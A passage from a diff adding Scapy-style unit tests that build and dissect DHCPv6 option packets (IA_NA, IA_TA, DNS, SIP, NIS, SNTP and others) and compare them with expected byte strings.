+raw(DHCP6OptIA_NA(optlen=0x1111, iaid=0x22222222, T1=0x33333333, T2=0x44444444)) == b'\x00\x03\x11\x11""""3333DDDD'
+
+= DHCP6OptIA_NA - Instantiation with a list of IA Addresses (optlen automatic computation)
+raw(DHCP6OptIA_NA(iaid=0x22222222, T1=0x33333333, T2=0x44444444, ianaopts=[DHCP6OptIAAddress(), DHCP6OptIAAddress()])) == b'\x00\x03\x00D""""3333DDDD\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= DHCP6OptIA_NA - Dissection with specific values
+a = DHCP6OptIA_NA(b'\x00\x03\x00L""""3333DDDD\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
+a.optcode == 3 and a.optlen == 76 and a.iaid == 0x22222222 and a.T1 == 0x33333333 and a.T2==0x44444444 and len(a.ianaopts) == 2 and isinstance(a.ianaopts[0], DHCP6OptIAAddress) and isinstance(a.ianaopts[1], DHCP6OptIAAddress)
+
+
+############
+############
++ Test DHCP6 Identity Association for Temporary Addresses Option
+
+= DHCP6OptIA_TA - Basic Instantiation
+raw(DHCP6OptIA_TA()) == b'\x00\x04\x00\x04\x00\x00\x00\x00'
+
+= DHCP6OptIA_TA - Basic Dissection
+a = DHCP6OptIA_TA(b'\x00\x04\x00\x04\x00\x00\x00\x00')
+a.optcode == 4 and a.optlen == 4 and a.iaid == 0 and a.iataopts == []
+
+= DHCP6OptIA_TA - Instantiation with specific values
+raw(DHCP6OptIA_TA(optlen=0x1111, iaid=0x22222222, iataopts=[DHCP6OptIAAddress(), DHCP6OptIAAddress()])) == b'\x00\x04\x11\x11""""\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= DHCP6OptIA_TA - Dissection with specific values
+a = DHCP6OptIA_TA(b'\x00\x04\x11\x11""""\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
+a.optcode == 4 and a.optlen == 0x1111 and a.iaid == 0x22222222 and len(a.iataopts) == 2 and isinstance(a.iataopts[0], DHCP6OptIAAddress) and isinstance(a.iataopts[1], DHCP6OptIAAddress)
+
+
+############
+############
++ Test DHCP6 Option Request Option
+
+= DHCP6OptOptReq - Basic Instantiation
+raw(DHCP6OptOptReq()) ==  b'\x00\x06\x00\x04\x00\x17\x00\x18'
+
+= DHCP6OptOptReq - optlen field computation
+raw(DHCP6OptOptReq(reqopts=[1,2,3,4])) == b'\x00\x06\x00\x08\x00\x01\x00\x02\x00\x03\x00\x04'
+
+= DHCP6OptOptReq - instantiation with empty list
+raw(DHCP6OptOptReq(reqopts=[])) == b'\x00\x06\x00\x00'
+
+= DHCP6OptOptReq - Basic dissection
+a=DHCP6OptOptReq(b'\x00\x06\x00\x00')
+a.optcode == 6 and a.optlen == 0 and a.reqopts == [23,24]
+
+= DHCP6OptOptReq - Dissection with specific value
+a=DHCP6OptOptReq(b'\x00\x06\x00\x08\x00\x01\x00\x02\x00\x03\x00\x04')
+a.optcode == 6 and a.optlen == 8 and a.reqopts == [1,2,3,4]
+
+= DHCP6OptOptReq - repr
+a.show()
+
+
+############
+############
++ Test DHCP6 Option - Preference option
+
+= DHCP6OptPref - Basic instantiation
+raw(DHCP6OptPref()) == b'\x00\x07\x00\x01\xff'
+
+= DHCP6OptPref - Instantiation with specific values 
+raw(DHCP6OptPref(optlen=0xffff, prefval= 0x11)) == b'\x00\x07\xff\xff\x11'
+
+= DHCP6OptPref - Basic Dissection
+a=DHCP6OptPref(b'\x00\x07\x00\x01\xff')
+a.optcode == 7 and a.optlen == 1 and a.prefval == 255
+
+= DHCP6OptPref - Dissection with specific values
+a=DHCP6OptPref(b'\x00\x07\xff\xff\x11')
+a.optcode == 7 and a.optlen == 0xffff and a.prefval == 0x11
+
+
+############
+############
++ Test DHCP6 Option - Elapsed Time
+
+= DHCP6OptElapsedTime - Basic Instantiation
+raw(DHCP6OptElapsedTime()) == b'\x00\x08\x00\x02\x00\x00'
+
+= DHCP6OptElapsedTime - Instantiation with specific elapsedtime value
+raw(DHCP6OptElapsedTime(elapsedtime=421)) == b'\x00\x08\x00\x02\x01\xa5'
+
+= DHCP6OptElapsedTime - Basic Dissection
+a=DHCP6OptElapsedTime(b'\x00\x08\x00\x02\x00\x00') 
+a.optcode == 8 and a.optlen == 2 and a.elapsedtime == 0
+
+= DHCP6OptElapsedTime - Dissection with specific values
+a=DHCP6OptElapsedTime(b'\x00\x08\x00\x02\x01\xa5')
+a.optcode == 8 and a.optlen == 2 and a.elapsedtime == 421
+
+= DHCP6OptElapsedTime - Repr
+a.show()
+
+
+############
+############
++ Test DHCP6 Option - Server Unicast Address
+
+= DHCP6OptServerUnicast - Basic Instantiation
+raw(DHCP6OptServerUnicast()) == b'\x00\x0c\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+= DHCP6OptServerUnicast - Instantiation with specific values (test 1)
+raw(DHCP6OptServerUnicast(srvaddr="2001::1")) == b'\x00\x0c\x00\x10 \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'
+
+= DHCP6OptServerUnicast - Instantiation with specific values (test 2)
+raw(DHCP6OptServerUnicast(srvaddr="2001::1", optlen=42)) == b'\x00\x0c\x00* \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'
+
+= DHCP6OptServerUnicast - Dissection with default values
+a=DHCP6OptServerUnicast(b'\x00\x0c\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')
+a.optcode == 12 and a.optlen == 16 and a.srvaddr == "::"
+
+= DHCP6OptServerUnicast - Dissection with specific values (test 1)
+a=DHCP6OptServerUnicast(b'\x00\x0c\x00\x10 \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01')
+a.optcode == 12 and a.optlen == 16 and a.srvaddr == "2001::1"
+
+= DHCP6OptServerUnicast - Dissection with specific values (test 2)
+a=DHCP6OptServerUnicast(b'\x00\x0c\x00* \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01')
+a.optcode == 12 and a.optlen == 42 and a.srvaddr == "2001::1"
+
+
+############
+############
++ Test DHCP6 Option - Status Code
+
+= DHCP6OptStatusCode - Basic Instantiation
+raw(DHCP6OptStatusCode()) == b'\x00\r\x00\x02\x00\x00' 
+
+= DHCP6OptStatusCode - Instantiation with specific values
+raw(DHCP6OptStatusCode(optlen=42, statuscode=0xff, statusmsg="Hello")) == b'\x00\r\x00*\x00\xffHello'
+
+= DHCP6OptStatusCode - Automatic Length computation
+raw(DHCP6OptStatusCode(statuscode=0xff, statusmsg="Hello")) == b'\x00\r\x00\x07\x00\xffHello'
+
+# Add tests to verify Unicode behavior
+
+
+############
+############
++ Test DHCP6 Option - Rapid Commit
+
+= DHCP6OptRapidCommit - Basic Instantiation
+raw(DHCP6OptRapidCommit()) == b'\x00\x0e\x00\x00'
+
+= DHCP6OptRapidCommit - Basic Dissection
+a=DHCP6OptRapidCommit(b'\x00\x0e\x00\x00')
+a.optcode == 14 and a.optlen == 0
+
+
+############
+############
++ Test DHCP6 Option - User class
+
+= DHCP6OptUserClass - Basic Instantiation
+raw(DHCP6OptUserClass()) == b'\x00\x0f\x00\x00'
+
+= DHCP6OptUserClass - Basic Dissection
+a = DHCP6OptUserClass(b'\x00\x0f\x00\x00')
+a.optcode == 15 and a.optlen == 0 and a.userclassdata == []
+
+= DHCP6OptUserClass - Instantiation with one user class data rawucture
+raw(DHCP6OptUserClass(userclassdata=[USER_CLASS_DATA(data="something")])) == b'\x00\x0f\x00\x0b\x00\tsomething'
+
+= DHCP6OptUserClass - Dissection with one user class data rawucture
+a = DHCP6OptUserClass(b'\x00\x0f\x00\x0b\x00\tsomething')
+a.optcode == 15 and a.optlen == 11 and len(a.userclassdata) == 1 and isinstance(a.userclassdata[0], USER_CLASS_DATA) and a.userclassdata[0].len == 9 and a.userclassdata[0].data == b'something'
+
+= DHCP6OptUserClass - Instantiation with two user class data rawuctures
+raw(DHCP6OptUserClass(userclassdata=[USER_CLASS_DATA(data="something"), USER_CLASS_DATA(data="somethingelse")])) == b'\x00\x0f\x00\x1a\x00\tsomething\x00\rsomethingelse'
+
+= DHCP6OptUserClass - Dissection with two user class data rawuctures
+a = DHCP6OptUserClass(b'\x00\x0f\x00\x1a\x00\tsomething\x00\rsomethingelse')
+a.optcode == 15 and a.optlen == 26 and len(a.userclassdata) == 2 and isinstance(a.userclassdata[0], USER_CLASS_DATA) and isinstance(a.userclassdata[1], USER_CLASS_DATA) and a.userclassdata[0].len == 9 and a.userclassdata[0].data == b'something' and a.userclassdata[1].len == 13 and a.userclassdata[1].data == b'somethingelse'
+
+
+############
+############
++ Test DHCP6 Option - Vendor class
+
+= DHCP6OptVendorClass - Basic Instantiation
+raw(DHCP6OptVendorClass()) == b'\x00\x10\x00\x04\x00\x00\x00\x00'
+
+= DHCP6OptVendorClass - Basic Dissection
+a = DHCP6OptVendorClass(b'\x00\x10\x00\x04\x00\x00\x00\x00')
+a.optcode == 16 and a.optlen == 4 and a.enterprisenum == 0 and a.vcdata == []
+
+= DHCP6OptVendorClass - Instantiation with one vendor class data rawucture
+raw(DHCP6OptVendorClass(vcdata=[VENDOR_CLASS_DATA(data="something")])) == b'\x00\x10\x00\x0f\x00\x00\x00\x00\x00\tsomething'
+
+= DHCP6OptVendorClass - Dissection with one vendor class data rawucture
+a = DHCP6OptVendorClass(b'\x00\x10\x00\x0f\x00\x00\x00\x00\x00\tsomething')
+a.optcode == 16 and a.optlen == 15 and a.enterprisenum == 0 and len(a.vcdata) == 1 and isinstance(a.vcdata[0], VENDOR_CLASS_DATA) and a.vcdata[0].len == 9 and a.vcdata[0].data == b'something'
+
+= DHCP6OptVendorClass - Instantiation with two vendor class data rawuctures
+raw(DHCP6OptVendorClass(vcdata=[VENDOR_CLASS_DATA(data="something"), VENDOR_CLASS_DATA(data="somethingelse")])) == b'\x00\x10\x00\x1e\x00\x00\x00\x00\x00\tsomething\x00\rsomethingelse'
+
+= DHCP6OptVendorClass - Dissection with two vendor class data rawuctures
+a = DHCP6OptVendorClass(b'\x00\x10\x00\x1e\x00\x00\x00\x00\x00\tsomething\x00\rsomethingelse')
+a.optcode == 16 and a.optlen == 30 and a.enterprisenum == 0 and len(a.vcdata) == 2 and isinstance(a.vcdata[0], VENDOR_CLASS_DATA) and isinstance(a.vcdata[1], VENDOR_CLASS_DATA) and a.vcdata[0].len == 9 and a.vcdata[0].data == b'something' and a.vcdata[1].len == 13 and a.vcdata[1].data == b'somethingelse'
+
+
+############
+############
++ Test DHCP6 Option - Vendor-specific information
+
+= DHCP6OptVendorSpecificInfo - Basic Instantiation
+raw(DHCP6OptVendorSpecificInfo()) == b'\x00\x11\x00\x04\x00\x00\x00\x00'
+
+= DHCP6OptVendorSpecificInfo - Basic Dissection
+a = DHCP6OptVendorSpecificInfo(b'\x00\x11\x00\x04\x00\x00\x00\x00')
+a.optcode == 17 and a.optlen == 4 and a.enterprisenum == 0
+
+= DHCP6OptVendorSpecificInfo - Instantiation with specific values (one option)
+raw(DHCP6OptVendorSpecificInfo(enterprisenum=0xeeeeeeee, vso=[VENDOR_SPECIFIC_OPTION(optcode=43, optdata="something")])) == b'\x00\x11\x00\x11\xee\xee\xee\xee\x00+\x00\tsomething'
+
+= DHCP6OptVendorSpecificInfo - Dissection with with specific values (one option)
+a = DHCP6OptVendorSpecificInfo(b'\x00\x11\x00\x11\xee\xee\xee\xee\x00+\x00\tsomething')
+a.optcode == 17 and a.optlen == 17 and a.enterprisenum == 0xeeeeeeee and len(a.vso) == 1 and isinstance(a.vso[0], VENDOR_SPECIFIC_OPTION) and a.vso[0].optlen == 9 and a.vso[0].optdata == b'something'
+
+= DHCP6OptVendorSpecificInfo - Instantiation with specific values (two options)
+raw(DHCP6OptVendorSpecificInfo(enterprisenum=0xeeeeeeee, vso=[VENDOR_SPECIFIC_OPTION(optcode=43, optdata="something"), VENDOR_SPECIFIC_OPTION(optcode=42, optdata="somethingelse")])) == b'\x00\x11\x00"\xee\xee\xee\xee\x00+\x00\tsomething\x00*\x00\rsomethingelse'
+
+= DHCP6OptVendorSpecificInfo - Dissection with with specific values (two options)
+a = DHCP6OptVendorSpecificInfo(b'\x00\x11\x00"\xee\xee\xee\xee\x00+\x00\tsomething\x00*\x00\rsomethingelse')
+a.optcode == 17 and a.optlen == 34 and a.enterprisenum == 0xeeeeeeee and len(a.vso) == 2 and isinstance(a.vso[0], VENDOR_SPECIFIC_OPTION) and isinstance(a.vso[1], VENDOR_SPECIFIC_OPTION) and a.vso[0].optlen == 9 and a.vso[0].optdata == b'something' and a.vso[1].optlen == 13 and a.vso[1].optdata == b'somethingelse'
+
+
+############
+############
++ Test DHCP6 Option - Interface-Id 
+
+= DHCP6OptIfaceId - Basic Instantiation
+raw(DHCP6OptIfaceId()) == b'\x00\x12\x00\x00'
+
+= DHCP6OptIfaceId - Basic Dissection
+a = DHCP6OptIfaceId(b'\x00\x12\x00\x00')
+a.optcode == 18 and a.optlen == 0
+
+= DHCP6OptIfaceId - Instantiation with specific value
+raw(DHCP6OptIfaceId(ifaceid="something")) == b'\x00\x12\x00\x09something'
+
+= DHCP6OptIfaceId - Dissection with specific value
+a = DHCP6OptIfaceId(b'\x00\x12\x00\x09something')
+a.optcode == 18 and a.optlen == 9 and a.ifaceid == b"something"
+
+
+############
+############
++ Test DHCP6 Option - Reconfigure Message
+
+= DHCP6OptReconfMsg - Basic Instantiation
+raw(DHCP6OptReconfMsg()) == b'\x00\x13\x00\x01\x0b'
+
+= DHCP6OptReconfMsg - Basic Dissection
+a = DHCP6OptReconfMsg(b'\x00\x13\x00\x01\x0b')
+a.optcode == 19 and a.optlen == 1 and a.msgtype == 11
+
+= DHCP6OptReconfMsg - Instantiation with specific values
+raw(DHCP6OptReconfMsg(optlen=4, msgtype=5)) == b'\x00\x13\x00\x04\x05'
+
+= DHCP6OptReconfMsg - Dissection with specific values
+a = DHCP6OptReconfMsg(b'\x00\x13\x00\x04\x05')
+a.optcode == 19 and a.optlen == 4 and a.msgtype == 5
+
+
+############
+############
++ Test DHCP6 Option - Reconfigure Accept
+
+= DHCP6OptReconfAccept - Basic Instantiation
+raw(DHCP6OptReconfAccept()) == b'\x00\x14\x00\x00'
+
+= DHCP6OptReconfAccept - Basic Dissection
+a = DHCP6OptReconfAccept(b'\x00\x14\x00\x00')
+a.optcode == 20 and a.optlen == 0
+
+= DHCP6OptReconfAccept - Instantiation with specific values
+raw(DHCP6OptReconfAccept(optlen=23)) == b'\x00\x14\x00\x17'
+
+= DHCP6OptReconfAccept - Dssection with specific values
+a = DHCP6OptReconfAccept(b'\x00\x14\x00\x17')
+a.optcode == 20 and a.optlen == 23
+
+
+############
+############
++ Test DHCP6 Option - SIP Servers Domain Name List
+
+= DHCP6OptSIPDomains - Basic Instantiation
+raw(DHCP6OptSIPDomains()) == b'\x00\x15\x00\x00'
+
+= DHCP6OptSIPDomains - Basic Dissection
+a = DHCP6OptSIPDomains(b'\x00\x15\x00\x00') 
+a.optcode == 21 and a.optlen == 0 and a.sipdomains == []
+
+= DHCP6OptSIPDomains - Instantiation with one domain
+raw(DHCP6OptSIPDomains(sipdomains=["toto.example.org"])) == b'\x00\x15\x00\x12\x04toto\x07example\x03org\x00'
+
+= DHCP6OptSIPDomains - Dissection with one domain
+a = DHCP6OptSIPDomains(b'\x00\x15\x00\x12\x04toto\x07example\x03org\x00')
+a.optcode == 21 and a.optlen == 18 and len(a.sipdomains) == 1 and a.sipdomains[0] == "toto.example.org."
+
+= DHCP6OptSIPDomains - Instantiation with two domains
+raw(DHCP6OptSIPDomains(sipdomains=["toto.example.org", "titi.example.org"])) == b'\x00\x15\x00$\x04toto\x07example\x03org\x00\x04titi\x07example\x03org\x00'
+
+= DHCP6OptSIPDomains - Dissection with two domains
+a = DHCP6OptSIPDomains(b'\x00\x15\x00$\x04toto\x07example\x03org\x00\x04TITI\x07example\x03org\x00')
+a.optcode == 21 and a.optlen == 36 and len(a.sipdomains) == 2 and a.sipdomains[0] == "toto.example.org." and a.sipdomains[1] == "TITI.example.org."
+
+= DHCP6OptSIPDomains - Enforcing only one dot at end of domain
+raw(DHCP6OptSIPDomains(sipdomains=["toto.example.org."])) == b'\x00\x15\x00\x12\x04toto\x07example\x03org\x00'
+
+
+############
+############
++ Test DHCP6 Option - SIP Servers IPv6 Address List
+
+= DHCP6OptSIPServers - Basic Instantiation
+raw(DHCP6OptSIPServers()) == b'\x00\x16\x00\x00'
+
+= DHCP6OptSIPServers - Basic Dissection
+a = DHCP6OptSIPServers(b'\x00\x16\x00\x00')
+a.optcode == 22 and a. optlen == 0 and a.sipservers == []
+
+= DHCP6OptSIPServers - Instantiation with specific values (1 address)
+raw(DHCP6OptSIPServers(sipservers = ["2001:db8::1"] )) == b'\x00\x16\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'
+
+= DHCP6OptSIPServers - Dissection with specific values (1 address)
+a = DHCP6OptSIPServers(b'\x00\x16\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01')
+a.optcode == 22 and a.optlen == 16 and len(a.sipservers) == 1 and a.sipservers[0] == "2001:db8::1" 
+
+= DHCP6OptSIPServers - Instantiation with specific values (2 addresses)
+raw(DHCP6OptSIPServers(sipservers = ["2001:db8::1", "2001:db8::2"] )) == b'\x00\x16\x00  \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02'
+
+= DHCP6OptSIPServers - Dissection with specific values (2 addresses)
+a = DHCP6OptSIPServers(b'\x00\x16\x00  \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02')
+a.optcode == 22 and a.optlen == 32 and len(a.sipservers) == 2 and a.sipservers[0] == "2001:db8::1" and a.sipservers[1] == "2001:db8::2"
+
+
+############
+############
++ Test DHCP6 Option - DNS Recursive Name Server
+
+= DHCP6OptDNSServers - Basic Instantiation
+raw(DHCP6OptDNSServers()) == b'\x00\x17\x00\x00'
+
+= DHCP6OptDNSServers - Basic Dissection
+a = DHCP6OptDNSServers(b'\x00\x17\x00\x00')
+a.optcode == 23 and a. optlen == 0 and a.dnsservers == []
+
+= DHCP6OptDNSServers - Instantiation with specific values (1 address)
+raw(DHCP6OptDNSServers(dnsservers = ["2001:db8::1"] )) == b'\x00\x17\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'
+
+= DHCP6OptDNSServers - Dissection with specific values (1 address)
+a = DHCP6OptDNSServers(b'\x00\x17\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01')
+a.optcode == 23 and a.optlen == 16 and len(a.dnsservers) == 1 and a.dnsservers[0] == "2001:db8::1" 
+
+= DHCP6OptDNSServers - Instantiation with specific values (2 addresses)
+raw(DHCP6OptDNSServers(dnsservers = ["2001:db8::1", "2001:db8::2"] )) == b'\x00\x17\x00  \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02'
+
+= DHCP6OptDNSServers - Dissection with specific values (2 addresses)
+a = DHCP6OptDNSServers(b'\x00\x17\x00  \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02')
+a.optcode == 23 and a.optlen == 32 and len(a.dnsservers) == 2 and a.dnsservers[0] == "2001:db8::1" and a.dnsservers[1] == "2001:db8::2"
+
+
+############
+############
++ Test DHCP6 Option - DNS Domain Search List Option
+
+= DHCP6OptDNSDomains - Basic Instantiation
+raw(DHCP6OptDNSDomains()) == b'\x00\x18\x00\x00'
+
+= DHCP6OptDNSDomains - Basic Dissection
+a = DHCP6OptDNSDomains(b'\x00\x18\x00\x00')
+a.optcode == 24 and a.optlen == 0 and a.dnsdomains == []
+
+= DHCP6OptDNSDomains - Instantiation with specific values (1 domain) 
+raw(DHCP6OptDNSDomains(dnsdomains=["toto.example.com."])) == b'\x00\x18\x00\x12\x04toto\x07example\x03com\x00'
+
+= DHCP6OptDNSDomains - Dissection with specific values (1 domain) 
+a = DHCP6OptDNSDomains(b'\x00\x18\x00\x12\x04toto\x07example\x03com\x00')
+a.optcode == 24 and a.optlen == 18 and len(a.dnsdomains) == 1 and a.dnsdomains[0] == "toto.example.com."
+
+= DHCP6OptDNSDomains - Instantiation with specific values (2 domains) 
+raw(DHCP6OptDNSDomains(dnsdomains=["toto.example.com.", "titi.example.com."])) == b'\x00\x18\x00$\x04toto\x07example\x03com\x00\x04titi\x07example\x03com\x00'
+
+= DHCP6OptDNSDomains - Dissection with specific values (2 domains) 
+a = DHCP6OptDNSDomains(b'\x00\x18\x00$\x04toto\x07example\x03com\x00\x04titi\x07example\x03com\x00')
+a.optcode == 24 and a.optlen == 36 and len(a.dnsdomains) == 2 and a.dnsdomains[0] == "toto.example.com." and a.dnsdomains[1] == "titi.example.com."
+
+
+############
+############
++ Test DHCP6 Option - IA_PD Prefix Option
+
+= DHCP6OptIAPrefix - Basic Instantiation
+raw(DHCP6OptIAPrefix()) == b'\x00\x1a\x00\x19\x00\x00\x00\x00\x00\x00\x00\x000 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+#TODO : finish me
+
+
+############
+############
++ Test DHCP6 Option - Identity Association for Prefix Delegation
+
+= DHCP6OptIA_PD - Basic Instantiation
+raw(DHCP6OptIA_PD()) == b'\x00\x19\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
+
+#TODO : finish me
+
+
+############
+############
++ Test DHCP6 Option - NIS Servers
+
+= DHCP6OptNISServers - Basic Instantiation
+raw(DHCP6OptNISServers()) == b'\x00\x1b\x00\x00'
+
+= DHCP6OptNISServers - Basic Dissection
+a = DHCP6OptNISServers(b'\x00\x1b\x00\x00')
+a.optcode == 27 and a. optlen == 0 and a.nisservers == []
+
+= DHCP6OptNISServers - Instantiation with specific values (1 address)
+raw(DHCP6OptNISServers(nisservers = ["2001:db8::1"] )) == b'\x00\x1b\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'
+
+= DHCP6OptNISServers - Dissection with specific values (1 address)
+a = DHCP6OptNISServers(b'\x00\x1b\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01')
+a.optcode == 27 and a.optlen == 16 and len(a.nisservers) == 1 and a.nisservers[0] == "2001:db8::1" 
+
+= DHCP6OptNISServers - Instantiation with specific values (2 addresses)
+raw(DHCP6OptNISServers(nisservers = ["2001:db8::1", "2001:db8::2"] )) == b'\x00\x1b\x00  \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02'
+
+= DHCP6OptNISServers - Dissection with specific values (2 addresses)
+a = DHCP6OptNISServers(b'\x00\x1b\x00  \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02')
+a.optcode == 27 and a.optlen == 32 and len(a.nisservers) == 2 and a.nisservers[0] == "2001:db8::1" and a.nisservers[1] == "2001:db8::2"
+
+
+############
+############
++ Test DHCP6 Option - NIS+ Servers
+
+= DHCP6OptNISPServers - Basic Instantiation
+raw(DHCP6OptNISPServers()) == b'\x00\x1c\x00\x00'
+
+= DHCP6OptNISPServers - Basic Dissection
+a = DHCP6OptNISPServers(b'\x00\x1c\x00\x00')
+a.optcode == 28 and a. optlen == 0 and a.nispservers == []
+
+= DHCP6OptNISPServers - Instantiation with specific values (1 address)
+raw(DHCP6OptNISPServers(nispservers = ["2001:db8::1"] )) == b'\x00\x1c\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'
+
+= DHCP6OptNISPServers - Dissection with specific values (1 address)
+a = DHCP6OptNISPServers(b'\x00\x1c\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01')
+a.optcode == 28 and a.optlen == 16 and len(a.nispservers) == 1 and a.nispservers[0] == "2001:db8::1" 
+
+= DHCP6OptNISPServers - Instantiation with specific values (2 addresses)
+raw(DHCP6OptNISPServers(nispservers = ["2001:db8::1", "2001:db8::2"] )) == b'\x00\x1c\x00  \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02'
+
+= DHCP6OptNISPServers - Dissection with specific values (2 addresses)
+a = DHCP6OptNISPServers(b'\x00\x1c\x00  \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02')
+a.optcode == 28 and a.optlen == 32 and len(a.nispservers) == 2 and a.nispservers[0] == "2001:db8::1" and a.nispservers[1] == "2001:db8::2"
+
+
+############
+############
++ Test DHCP6 Option - NIS Domain Name
+
+= DHCP6OptNISDomain - Basic Instantiation
+raw(DHCP6OptNISDomain()) == b'\x00\x1d\x00\x00'
+
+= DHCP6OptNISDomain - Basic Dissection
+a = DHCP6OptNISDomain(b'\x00\x1d\x00\x00')
+a.optcode == 29 and a.optlen == 0 and a.nisdomain == b""
+
+= DHCP6OptNISDomain - Instantiation with one domain name
+raw(DHCP6OptNISDomain(nisdomain="toto.example.org")) == b'\x00\x1d\x00\x11\x04toto\x07example\x03org'
+
+= DHCP6OptNISDomain - Dissection with one domain name
+a = DHCP6OptNISDomain(b'\x00\x1d\x00\x11\x04toto\x07example\x03org\x00')
+a.optcode == 29 and a.optlen == 17 and a.nisdomain == b"toto.example.org"
+
+= DHCP6OptNISDomain - Instantiation with one domain with trailing dot
+raw(DHCP6OptNISDomain(nisdomain="toto.example.org.")) == b'\x00\x1d\x00\x12\x04toto\x07example\x03org\x00'
+
+
+############
+############
++ Test DHCP6 Option - NIS+ Domain Name
+
+= DHCP6OptNISPDomain - Basic Instantiation
+raw(DHCP6OptNISPDomain()) == b'\x00\x1e\x00\x00'
+
+= DHCP6OptNISPDomain - Basic Dissection
+a = DHCP6OptNISPDomain(b'\x00\x1e\x00\x00')
+a.optcode == 30 and a.optlen == 0 and a.nispdomain == b""
+
+= DHCP6OptNISPDomain - Instantiation with one domain name
+raw(DHCP6OptNISPDomain(nispdomain="toto.example.org")) == b'\x00\x1e\x00\x11\x04toto\x07example\x03org'
+
+= DHCP6OptNISPDomain - Dissection with one domain name
+a = DHCP6OptNISPDomain(b'\x00\x1e\x00\x11\x04toto\x07example\x03org\x00')
+a.optcode == 30 and a.optlen == 17 and a.nispdomain == b"toto.example.org"
+
+= DHCP6OptNISPDomain - Instantiation with one domain with trailing dot
+raw(DHCP6OptNISPDomain(nispdomain="toto.example.org.")) == b'\x00\x1e\x00\x12\x04toto\x07example\x03org\x00'
+
+
+############
+############
++ Test DHCP6 Option - SNTP Servers
+
+= DHCP6OptSNTPServers - Basic Instantiation
+raw(DHCP6OptSNTPServers()) == b'\x00\x1f\x00\x00'
+
+= DHCP6OptSNTPServers - Basic Dissection
+a = DHCP6OptSNTPServers(b'\x00\x1f\x00\x00')
+a.optcode == 31 and a. optlen == 0 and a.sntpservers == []
+
+= DHCP6OptSNTPServers - Instantiation with specific values (1 address)
+raw(DHCP6OptSNTPServers(sntpservers = ["2001:db8::1"] )) == b'\x00\x1f\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01'
+
+= DHCP6OptSNTPServers - Dissection with specific values (1 address)
+a = DHCP6OptSNTPServers(b'\x00\x1f\x00\x10 \x01\r\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01')
+a.optcode == 31 and a.optlen == 16 and len(a.sntpservers) == 1 and a.sntpservers[0] == "2001:db8::1" 
+
+= DHCP6OptSNTPServers - Instantiation with specific values (2 addresses)
